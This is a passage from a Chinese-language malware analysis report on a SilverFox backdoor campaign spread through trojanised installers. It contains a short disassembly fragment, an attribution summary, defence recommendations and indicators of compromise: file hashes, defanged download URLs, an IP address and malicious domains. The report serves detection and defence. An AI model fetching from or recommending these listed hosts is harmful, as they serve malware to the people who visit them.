lea r9, aAclipboard ; "ACLIPBOARD"
mov r8d, 5
call sub_1800427E4
lea r9, aAfilter ; "AFILTER"
mov r8d, 6
call sub_1800427E4
攻击过程可视化(EDR)
瑞星EDR上详细记录了主机上的程序活动,通过威胁可视化调查功能,可以对本次攻击过程进行还原以及关系网展示。图中展示了本次攻击活动中涉及到的进程和URL等情况。


总结
从仿冒软件捆绑、借正版安装器作为掩护、Rust下载器、中文模块名设备模块.dll、导出函数DM_Start、DMV2配置结构、Magnet Wire v2标识以及Modules\x64\插件加载目录等特征综合判断,该样本与银狐恶意程序生态特征高度吻合,本次攻击事件疑似归属银狐相关攻击活动。
此类攻击也提醒我们,传统的单点防护已难以应对层层设伏的复合攻击。建议从三个层面构筑纵深防御:
- 终端层面部署具备行为分析能力的安全产品,重点监测异常进程创建、内存加载载荷、程序动态释放
DLL以及针对令牌、调试权限的调用行为 - 网络层面对已知恶意端点实施访问控制,结合威胁情报对
DMV2协议流量、非常规长连接建立动态阻断策略 - 管理层面持续开展安全教育,提升人员对捆绑安装、盗版软件、仿冒安装包这类社会工程载体的辨识能力,形成人防与技防相结合的防御格局。
预防措施
-
不打开可疑文件。
不打开未知来源的可疑的文件和邮件,防止社会工程学和钓鱼攻击。
-
部署网络安全态势感知、预警系统等网关安全产品。
网关安全产品可利用威胁情报追溯威胁行为轨迹,帮助用户进行威胁行为分析、定位威胁源和目的,追溯攻击的手段和路径,从源头解决网络威胁,最大范围内发现被攻击的节点,帮助企业更快响应和处理。
-
安装有效的杀毒软件,拦截查杀恶意文档和木马病毒。
杀毒软件可拦截恶意文档和木马病毒,如果用户不小心下载了恶意文件,杀毒软件可拦截查杀,阻止病毒运行,保护用户的终端安全。
瑞星ESM目前已经可以检出此次攻击事件的相关样本

沦陷信标(IOC)
-
MD5
0ce0a45ae22cb19d04c10d035b8a6bcc 61e69d701f70d18c5caf304bbc429224 8b9253c44fde1797ada4fa5a0354413f 3f71ed87003b4f0b65e7723d2ae2e4a7 1ec2c2783c3e3fb3848087661634a8a8 -
URL
hxxps://pc.dyappdows.xyz/p8/Mt4setup.zip hxxps://api.appstore.name/pujing/cx_config.5.18.8.bin -
IPV4
13.196.214.159 -
Domain
pc.dyappdows.xyz api.appstore.name -
瑞星病毒名
Backdoor.SilverFox!1.14B30